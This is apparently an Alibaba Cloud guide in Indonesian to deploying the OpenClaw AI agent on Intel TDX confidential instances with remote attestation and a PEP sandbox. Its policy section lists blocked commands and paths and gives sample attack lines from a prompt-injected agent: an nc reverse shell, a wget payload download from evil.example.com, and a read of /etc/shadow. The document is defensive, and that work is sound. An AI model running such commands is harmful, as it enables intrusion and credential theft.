All Products
Search

This Product

    Elastic Compute Service:Bangun agen AI rahasia OpenClaw pada instans komputasi rahasia heterogen

    Document Center

    Elastic Compute Service:Bangun agen AI rahasia OpenClaw pada instans komputasi rahasia heterogen

    Last Updated:Aug 25, 2026

    Agen AI menangani percakapan pengguna, panggilan alat eksternal, memori jangka panjang, dan kredensial layanan selama waktu proses, sehingga memperluas permukaan serangan dibandingkan aplikasi tradisional. Instans komputasi rahasia heterogen Alibaba Cloud gn8v-tee memanfaatkan Intel TDX dan komputasi rahasia GPU NVIDIA untuk menyediakan lingkungan eksekusi tepercaya (TEE) yang lengkap. Terapkan framework agen AI open-source OpenClaw pada instans ini guna memperoleh perlindungan data berbasis perangkat keras, attestation jarak jauh, serta kemampuan verifikasi rantai pasok—menjamin keamanan ujung ke ujung untuk inferensi model dan interaksi pengguna.

    Ikhtisar

    Solusi Confidential Agent menerapkan OpenClaw pada instans gn8v-tee yang mendukung Intel TDX (Trust Domain Extensions). Model Qwen3.6-35B-A3B Mixture of Experts (MoE) dijalankan secara lokal pada instans tersebut, sehingga eksekusi agen dan inferensi model sepenuhnya berada dalam domain kepercayaan TDX tanpa memanggil layanan API pihak ketiga mana pun. Input pengguna, bobot model, status antara inferensi, dan output AI tidak pernah meninggalkan batas kepercayaan instans rahasia selama pemrosesan.

    Catatan

    gn8v-tee adalah keluarga instans komputasi rahasia berbasis GPU yang dirilis oleh Alibaba Cloud. Instans ini mengintegrasikan enkripsi perangkat keras Intel TDX dan akselerasi GPU NVIDIA untuk memenuhi persyaratan kinerja inferensi AI sekaligus kepatuhan terhadap keamanan data. Topik ini menggunakan ecs.gn8v-tee.4xlarge sebagai contoh, yang menjalankan Alibaba Cloud Linux 3 di zona cn-beijing-l. Untuk beban kerja yang lebih besar, Anda dapat melakukan penskalaan ke tipe instans multi-GPU.

    Arsitektur keamanan

    Semua data inti dalam penerapan Confidential Agent tetap berada dalam batas TEE. Tiga jenis aset berikut dilindungi secara ketat:

    Aset yang dilindungi

    Deskripsi

    Privasi percakapan pengguna

    Input pengguna, konteks eksekusi alat, dan tanggapan AI, yang mungkin berisi informasi sensitif seperti informasi identitas pribadi (PII), catatan medis, dan data keuangan.

    Memori dan status agen

    Memori jangka panjang, konfigurasi, dan file SKILL dalam OpenClaw, yang seiring waktu menjadi target bernilai tinggi.

    Kredensial layanan

    Kredensial OAuth untuk platform IM seperti DingTalk, kunci API eksternal, dan token gerbang.

    Arsitektur keamanan memiliki lima lapisan dari bawah ke atas: perangkat keras, rantai boot, waktu proses, manajemen kunci, dan komunikasi:

    Lapisan perlindungan

    Mekanisme

    Perangkat keras

    Intel TDX Memory Encryption Engine (MEE) mengenkripsi semua memori guest secara transparan. Penyedia cloud tidak dapat membaca teks biasa tersebut.

    Rantai boot

    UKI (Unified Kernel Image) + dm-verity rootfs untuk perlindungan dari perubahan tidak sah. Attestation jarak jauh memverifikasi integritas waktu proses. Nilai referensi rantai pasok dicatat dalam log transparansi Rekor.

    Waktu proses

    Sandbox kebijakan PEP memblokir perintah berisiko tinggi dan akses ke path sensitif, mencegah peningkatan hak istimewa akibat injeksi prompt.

    Manajemen kunci

    Kunci enkripsi disk disuntikkan melalui tantangan attestation jarak jauh saat boot dan disimpan secara lokal oleh pengguna. Penyedia cloud tidak terlibat.

    Komunikasi

    Enkripsi end-to-end RATS-TLS. Saluran terenkripsi hanya dibentuk setelah attestation jarak jauh memverifikasi identitas instans. Semua komunikasi dienkripsi saat transit.

    Alur kerja penerapan

    1. Audit kode sumber: Penerap melakukan audit kode sumber bisnis untuk memastikan tidak ada kode berbahaya atau backdoor.

    2. Buat artefak dan publikasikan nilai referensi perangkat lunak: Bangun citra OS ringan yang hanya berisi layanan OpenClaw dari kode sumber yang telah diaudit, lalu unggah tanda tangan SLSA dari artefak build ke log transparansi Rekor untuk mempublikasikan nilai referensi perangkat lunak.

    3. Buat instans rahasia: Buat instans komputasi rahasia gn8v-tee dengan menggunakan citra yang telah dibangun.

    4. Audit attestation jarak jauh dan unggah sumber daya rahasia: Penerap menggunakan alat penerapan untuk melakukan attestation jarak jauh pada instans guna memverifikasi bahwa instans tersebut berjalan pada perangkat keras TDX asli. Setelah diverifikasi, sumber daya rahasia seperti kunci enkripsi disk dan kredensial bot DingTalk diunggah secara otomatis.

    5. Akses OpenClaw: Pengguna dapat mengakses OpenClaw secara langsung melalui browser web, klien desktop, atau terminal TUI, atau secara tidak langsung melalui platform IM seperti DingTalk.

    6. Audit attestation jarak jauh dan transmisi terenkripsi: Sebelum membuat koneksi, klien gerbang tepercaya mengambil nilai referensi perangkat lunak dari Rekor dan nilai referensi perangkat keras dari Intel PCCS serta RIM/OCSP. Setelah verifikasi attestation jarak jauh selesai, saluran terenkripsi RATS-TLS dibentuk. Semua komunikasi dienkripsi end-to-end.

    Prasyarat

    • Anda telah mengaktifkan Alibaba Cloud ECS dan akun Anda memiliki izin untuk membuat instans gn8v-tee.

    • Anda telah menyiapkan instans ECS yang menjalankan Alibaba Cloud Linux 3 (tipe general-purpose atau lainnya) sebagai mesin penerapan, dengan ruang disk tersedia minimal 80 GB.

      Penting

      Mesin penerapan hanya digunakan untuk operasi penerapan. Instans general-purpose sudah cukup. Anda tidak perlu menggunakan instans gn8v-tee. Pada langkah-langkah berikutnya, Anda akan menjalankan perintah pada mesin penerapan untuk membuat instans gn8v-tee.

    • Anda telah memperoleh Pasangan Kunci Akses Alibaba Cloud. Kami merekomendasikan agar Anda menggunakan peran RAM atau kredensial sementara STS.

    • Jika Anda perlu menggunakan integrasi DingTalk, Anda telah membuat aplikasi enterprise internal DingTalk dan memperoleh kredensial yang diperlukan.

    Prosedur

    Langkah 1: Bangun citra tepercaya yang berisi OpenClaw dan mesin inferensi vLLM

    Selesaikan tugas-tugas berikut pada mesin penerapan (instans Alibaba Cloud Linux 3): unduh kode sumber, instal dependensi, hasilkan kunci, konfigurasikan sumber daya cloud, dan bangun citra tepercaya.

    1. Login ke instans ECS.

      1. Buka Konsol ECS - Instans. Di pojok kiri atas, pilih wilayah dan kelompok sumber daya untuk instans target.

      2. Buka halaman detail instans target. Klik Connect dan pilih Workbench. Atur metode koneksi ke Terminal Connection, masukkan username dan password Anda, lalu login ke terminal grafis.

    2. Unduh kode sumber proyek.

      cd ~/
git clone https://github.com/inclavare-containers/confidential-agent
cd confidential-agent

    3. Instal semua dependensi perangkat lunak yang diperlukan.

      make install-deps

      Perintah ini menginstal Docker, Terraform, Go, Python, cosign, rekor-cli, dan alat lain yang diperlukan untuk pembuatan dan penerapan.

    4. Hasilkan kunci enkripsi dan file konfigurasi yang diperlukan untuk penerapan.

      make generate-secrets

      Setelah kunci dihasilkan, edit secrets/openclaw-vllm.json dan ganti placeholder dengan nilai aktual seperti kredensial aplikasi DingTalk dan konfigurasi model. Tabel berikut menjelaskan placeholder tersebut:

      Placeholder

      Deskripsi

      Cara memperoleh

      <DINGTALK_BOT_CLIENT_ID>

      DingTalk bot ClientId

      Lihat DingTalk Bot + OpenClaw. Buat aplikasi di DingTalk Developer Portal untuk memperoleh nilainya.

      <DINGTALK_BOT_CLIENT_SECRET>

      DingTalk bot ClientSecret

      Seperti di atas. Peroleh nilainya dari halaman detail aplikasi.

    5. Konfigurasikan file variabel Terraform.

      Catatan

      Terraform adalah alat Infrastructure as Code (IaC) open-source yang mengotomatiskan pembuatan, modifikasi, dan manajemen versi sumber daya serta layanan cloud di Alibaba Cloud melalui file konfigurasi deklaratif. Dalam solusi ini, Terraform mengotomatiskan penerapan instans rahasia.

      cp terraform/terraform.tfvars.example terraform/terraform.tfvars

      Edit file terraform/terraform.tfvars dan konfigurasikan parameter kunci seperti yang dijelaskan dalam tabel berikut.

      Parameter

      Nilai yang direkomendasikan

      Deskripsi

      zone_id

      "cn-beijing-l"

      Zona yang mendukung keluarga instans gn8v-tee

      vpc_cidr

      "10.0.0.0/16"

      Blok CIDR VPC

      vswitch_cidr

      "10.0.1.0/24"

      Blok CIDR vSwitch

      security_group_allowed_cidr

      Blok CIDR IP lingkungan klien yang perlu mengakses layanan OpenClaw

      Rentang IP sumber yang diizinkan oleh grup keamanan
      Penting

      Nilai default security_group_allowed_cidr adalah 0.0.0.0/0. Di lingkungan produksi, Anda harus mengubah nilai ini menjadi blok CIDR IP tertentu dan hanya mengizinkan alamat IP sumber yang diperlukan.

    6. Ekspor kredensial akses Alibaba Cloud Anda agar Terraform dapat membuat sumber daya cloud.

      export ALICLOUD_ACCESS_KEY="<YOUR_ACCESS_KEY>"
export ALICLOUD_SECRET_KEY="<YOUR_SECRET_KEY>"
      Catatan

      Kami merekomendasikan agar Anda menggunakan peran RAM atau kredensial sementara (STS) untuk menghindari penyimpanan jangka panjang Pasangan Kunci Akses. Untuk informasi tentang cara membuat Pasangan Kunci Akses, lihat Buat Pasangan Kunci Akses.

    7. Bangun citra tepercaya yang berisi OpenClaw dan mesin inferensi vLLM.

      make build PROFILE=openclaw-vllm
      Catatan

      Pembuatan pertama kali melibatkan langkah-langkah seperti instalasi driver GPU. Mohon bersabar.

      Setelah pembuatan selesai, dua citra berikut dihasilkan:

      Jenis citra

      Deskripsi

      Citra produksi

      Versi yang diperkeras keamanannya dengan server SSH dihapus dan hanya menyisakan runtime minimal, untuk penerapan produksi

      Citra debug

      Mempertahankan akses SSH dan alat debugging, hanya untuk troubleshooting

      Selama proses pembuatan, nilai referensi citra juga diunggah ke log transparansi Rekor. File metadata .rekor-meta.json dihasilkan untuk verifikasi selama penerapan.

    Langkah 2: Terapkan citra tepercaya ke instans

    Terapkan citra tepercaya ke instans gn8v-tee dan bentuk saluran terenkripsi end-to-end melalui TNG.

    1. Pada mesin penerapan, jalankan perintah berikut untuk membuat instans gn8v-tee dengan menggunakan citra tepercaya. Setelah instans dibuat, attestation jarak jauh dilakukan pada instans tersebut dan sumber daya rahasia diunggah.

      make deploy PROFILE=openclaw-vllm RV_MODE=rekor

      Tabel berikut menjelaskan parameter kunci:

      Parameter

      Deskripsi

      PROFILE=openclaw-vllm

      Profil penerapan yang digunakan

      RV_MODE=rekor

      Memverifikasi nilai referensi citra melalui log transparansi Rekor selama penerapan

      Penerapan ini membuat sumber daya berikut di cloud:

      • Bucket OSS: Ruang penyimpanan privat yang digunakan untuk mengunggah dan menyimpan citra VM tepercaya (.qcow2).

      • Citra kustom ECS: Diimpor dari file citra OSS ke pustaka citra kustom Alibaba Cloud ECS.

      • Instans komputasi rahasia ECS GPU: Instans komputasi rahasia ecs.gn8v-tee.4xlarge yang dilampirkan ke grup keamanan dan vSwitch. Parameter boot UKI mencakup konfigurasi tantangan attestation jarak jauh.

      • Grup keamanan: Membuka SSH (port 22) dan TNG (port 18789), hanya mengizinkan akses dari blok CIDR yang ditentukan.

      Catatan

      Secara default, citra Debug diterapkan. Untuk menerapkan citra Produksi (tanpa akses SSH), tentukan file citra secara manual.

      Penting

      Selama penerapan, citra diunggah ke OSS dan model diunduh dari ModelScope, yang memerlukan akses Internet dan menimbulkan biaya trafik.

    2. Jalankan TNG Client pada mesin penerapan untuk membentuk saluran terenkripsi RATS-TLS antara mesin penerapan dan instans gn8v-tee berbasis cloud.

      make connect-tng

      Setelah koneksi berhasil, output menampilkan URL HTTP dan WebSocket serta token akses untuk OpenClaw. Semua komunikasi selanjutnya dilindungi oleh enkripsi RATS-TLS.

    3. Periksa apakah layanan OpenClaw siap melalui tunnel TNG.

      curl -s http://localhost:18789/health

      Setelah status sehat dikembalikan, Anda dapat melanjutkan untuk mengakses layanan.

    Langkah 3: Akses layanan OpenClaw yang dilindungi oleh komputasi rahasia

    Setelah layanan siap, akses OpenClaw melalui salah satu dari empat metode berikut.

    Metode 1: Melalui obrolan DingTalk

    Temukan bot yang telah dikonfigurasi di DingTalk dan kirim pesan untuk memulai percakapan dengan OpenClaw.

    image

    Metode 2: Melalui UI web berbasis browser

    Persiapan: Bentuk penerusan port dari mesin lokal ke mesin penerapan

    Perintah make connect-tng pada Langkah 2 dijalankan pada mesin penerapan dan mengikat tunnel TNG ke localhost:18789 pada mesin penerapan. Bentuk penerusan port SSH dari mesin lokal ke mesin penerapan:

    ssh -L 18789:127.0.0.1:18789 root@<deployment machine IP>

    Setelah penerusan port dibentuk, mengakses localhost:18789 di browser atau klien pada mesin lokal setara dengan mengakses tunnel TNG pada mesin penerapan.

    Akses melalui browser

    Setelah penerusan port SSH diatur pada mesin lokal, buka http://localhost:18789/openclaw di browser Anda untuk membuka panel kontrol web. Masukkan token OpenClaw dari Langkah 2 untuk mengakses layanan.

    image

    Metode 3: Melalui klien desktop OpenClaw

    Persiapan: Bentuk penerusan port dari mesin lokal ke mesin penerapan

    Perintah make connect-tng pada Langkah 2 dijalankan pada mesin penerapan dan mengikat tunnel TNG ke localhost:18789 pada mesin penerapan. Bentuk penerusan port SSH dari mesin lokal ke mesin penerapan:

    ssh -L 18789:127.0.0.1:18789 root@<deployment machine IP>

    Setelah penerusan port dibentuk, mengakses localhost:18789 di browser atau klien pada mesin lokal setara dengan mengakses tunnel TNG pada mesin penerapan.

    Akses melalui klien desktop

    Instal klien desktop OpenClaw pada mesin lokal Anda, konfigurasikan mode remote, atur alamat koneksi ke ws://localhost:18789, dan masukkan token OpenClaw dari Langkah 2.

    Metode 4: Melalui TUI OpenClaw

    Instal OpenClaw sebagai klien pada mesin penerapan:

    npm install -g openclaw@latest --registry=https://registry.npmmirror.com

    Kemudian jalankan perintah berikut pada mesin penerapan untuk memulai TUI OpenClaw dan menghubungkan ke instans OpenClaw remote:

    openclaw tui --url ws://localhost:18789 --token <gateway-token>

    Ganti <gateway-token> dengan token gerbang OpenClaw yang diperoleh pada Langkah 2.

    Catatan

    Pertama kali Anda terhubung melalui TUI, pesan pairing required ditampilkan. Buka http://localhost:18789/openclaw di browser Anda, temukan perangkat yang menunggu otorisasi pada halaman Nodes, lalu klik Approve untuk menyelesaikan otorisasi. Kemudian kembali ke TUI.

    Setelah otorisasi selesai, TUI siap untuk percakapan:

    image

    Langkah 4 (opsional): Release resources

    Saat Anda tidak lagi memerlukan layanan tersebut, jalankan perintah berikut untuk melepas semua sumber daya cloud:

    make destroy PROFILE=openclaw-vllm
    Peringatan

    Operasi ini tidak dapat dikembalikan dan akan menghapus instans ECS beserta sumber daya jaringan terkait. Pastikan Anda tidak lagi memerlukan data pada instans tersebut sebelum menjalankan perintah ini.

    Verifikasi keamanan

    Verifikasi keandalan lingkungan runtime

    OpenClaw mencakup kemampuan bawaan tdx-remote-attestation yang secara otomatis memicu remote attestation saat pertanyaan terkait keamanan diajukan, guna memverifikasi status keamanan lingkungan runtime saat ini.

    Cara memicu: Ajukan pertanyaan terkait keamanan di DingTalk, Web, atau TUI, seperti "Apakah data saya aman?" atau "Apakah lingkungan ini dapat dipercaya?"

    Konten respons:

    Item verifikasi

    Deskripsi

    Status kepercayaan hardware

    Nilai hardware 32 atau lebih rendah menunjukkan verifikasi berhasil

    Jenis TEE

    Intel TDX Trust Domain

    Proteksi enkripsi memori

    Memastikan bahwa Memory Encryption Engine telah diaktifkan

    Integritas rantai boot UKI

    Memverifikasi konsistensi nilai pengukuran komponen

    image (1)

    Verifikasi penerapan kebijakan PEP

    PEP (Policy Enforcement Point) adalah mekanisme gating runtime untuk agen AI rahasia. Saat agen seperti OpenClaw menjalankan perintah melalui tool exec, permintaan tersebut terlebih dahulu melewati cai-pep untuk pencocokan kebijakan, lalu dijalankan dalam sandbox Docker terisolasi (mode jaringan none). Kebijakan yang dapat dikonfigurasi memberlakukan pembatasan wajib terhadap tool yang tersedia bagi agen, sehingga mencegah risiko keamanan akibat injeksi prompt berbahaya.

    PEP menyediakan tiga lapis perlindungan:

    1. Pemblokiran tingkat perintah: Menolak perintah berisiko tinggi berdasarkan daftar blokir, seperti curl, wget, nc, ssh, dan docker.

    2. Pemblokiran tingkat path: Mencegah akses ke path sensitif, seperti /etc, /proc, /root, dan /home/openclaw/.openclaw.

    3. Isolasi jaringan: Sandbox tidak memiliki akses jaringan. Bahkan jika suatu perintah berhasil melewati daftar blokir, perintah tersebut tidak dapat membuat koneksi outbound.

    File kebijakan default berada di ~/confidential-agent/image/customize/files/cai-pep-default-policy.json pada mesin deployment. Anda dapat mengubah daftar blokir perintah, daftar blokir path, dan batasan resource sebelum membangun image.

    Jika agen dikompromikan oleh injeksi prompt berbahaya dan penyerang mencoba membuat reverse shell atau mengunduh muatan berbahaya, PEP secara otomatis memblokir operasi berisiko tinggi tersebut:

    Metode serangan

    Contoh perintah

    Alasan pemblokiran

    Reverse shell

    nc 10.0.0.99 4444 -e /bin/bash

    nc ada dalam daftar blokir perintah

    Unduh muatan berbahaya

    wget http://evil.example.com/payload.sh

    wget ada dalam daftar blokir perintah

    Baca file sensitif

    cat /etc/shadow

    /etc/shadow cocok dengan awalan path /etc

    Verifikasi integritas rantai pasok

    Deployment menggunakan log transparansi Rekor secara default untuk menyimpan nilai referensi image. Selama remote attestation, nilai referensi secara otomatis diambil dari Rekor untuk verifikasi. Anda dapat mengaudit entri log Rekor untuk memverifikasi integritas rantai pasok dengan menggunakan metode berikut.

    Lihat catatan Rekor

    Setelah proses build selesai, Anda dapat menemukan indeks log dan URL entri catatan tersebut di mesin deployment:

    cat ~/confidential-agent/image/output/slsa-output-cai-openclaw-vllm-debug-*/rekor-v1-upload.txt

    Contoh output:

    Created entry at index 1205944956, available at: https://rekor.sigstore.dev/api/v1/log/entries/<uuid>

    Verifikasi bukti inklusi

    Bukti inklusi mengonfirmasi bahwa entri yang berisi nilai referensi image ada dalam Merkle Root log Rekor.

    rekor-cli verify --log-index 1205944956 --rekor_server https://rekor.sigstore.dev

    Jika output berisi dua nilai hash yang identik, verifikasi berhasil:

    Computed Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090
Expected Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090

    Verifikasi bukti konsistensi

    Bukti konsistensi mengonfirmasi bahwa Merkle Root lama (Root A) merupakan awalan atau keadaan historis dari Merkle Root baru (Root B), sehingga memastikan bahwa entri nilai referensi yang disimpan di Rekor tidak dimanipulasi atau dihapus.

    rekor-cli loginfo --rekor_server https://rekor.sigstore.dev

    Jika output berisi konten berikut, verifikasi berhasil:

    Verification Successful!

    Konfigurasi security group

    Saat menjalankan make deploy, aturan security group dibuat secara otomatis. Jika Anda perlu mengubah security group di kemudian hari, pastikan security group tersebut berisi aturan-aturan berikut:

    Port

    Protocol

    Description

    Security recommendation

    22

    TCP

    SSH remote management (Debug image only)

    Batasi IP sumber ke jaringan management

    18789

    TCP

    TNG tunnel endpoint (RATS-TLS), digunakan untuk mengakses layanan OpenClaw

    Batasi IP sumber atau akses melalui TNG
    Important: Di lingkungan produksi, pastikan Anda mengubah security_group_allowed_cidr menjadi Blok CIDR IP management tertentu. Hindari penggunaan 0.0.0.0/0.

    FAQ

    • make build gagal dengan error dependensi yang tidak ditemukan

      Verifikasi bahwa semua dependensi telah diinstal dan ruang disk mencukupi:

      make install-deps
df -h /

      Jika hal ini tidak menyelesaikan masalah, jalankan make clean-image untuk membersihkan artefak build dan membangun ulang.

    • make deploy gagal dengan NoSetRoletoECSServiceAcount

      Error ini menunjukkan bahwa role impor gambar ECS belum diotorisasi. Atasi dengan melakukan salah satu operasi berikut:

      • Login ke konsol Alibaba Cloud, buka ECS > Images > Import Image, lalu klik Authorize untuk membuat role AliyunECSImageImportDefaultRole.

      • Di konsol RAM, berikan kebijakan AliyunOSSFullAccess kepada role AliyunECSImageImportDefaultRole.

    • Layanan tidak merespons

      1. Verifikasi bahwa image Debug telah dideploy (image Production tidak menyertakan SSH).

      2. Deploy ulang dan pastikan make deploy selesai tanpa error.

      3. Deploy image Debug dan hubungkan melalui SSH untuk memeriksa log guna troubleshooting.

    • Verifikasi TNG lokal gagal

      Verifikasi bahwa kontainer Trustee lokal sedang berjalan dan dalam kondisi sehat:

      # Verifikasi kontainer Trustee lokal sedang berjalan
docker ps | grep cai-local-trustee

# Periksa status kesehatan Trustee
curl http://127.0.0.1:18081/api/health

# Jika Trustee belum siap, jalankan ulang
make connect-tng

    • cai-pep menolak semua panggilan tool

      Deploy image Debug dan hubungkan melalui SSH untuk memeriksa log cai-pep guna mengetahui alasan spesifik pemblokiran.